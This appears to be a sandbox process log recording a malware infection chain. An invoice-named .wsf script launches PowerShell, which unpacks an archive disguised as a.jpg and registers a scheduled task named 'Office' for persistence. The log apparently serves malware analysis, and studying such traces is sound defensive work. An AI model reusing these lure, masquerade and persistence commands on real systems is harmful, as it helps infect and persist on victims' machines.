wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\invoiceID485.wsf
2552powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "tar -xf C:\Users\Public\a.jpg -C C:\Users\Public; schtasks /Create /XML $env:PUBLIC\Roll.xml /TN Office"
2740schtasks.exe "C:\Windows\system32\schtasks.exe" /Create /XML C:\Users\Public\Roll.xml /TN Office
2828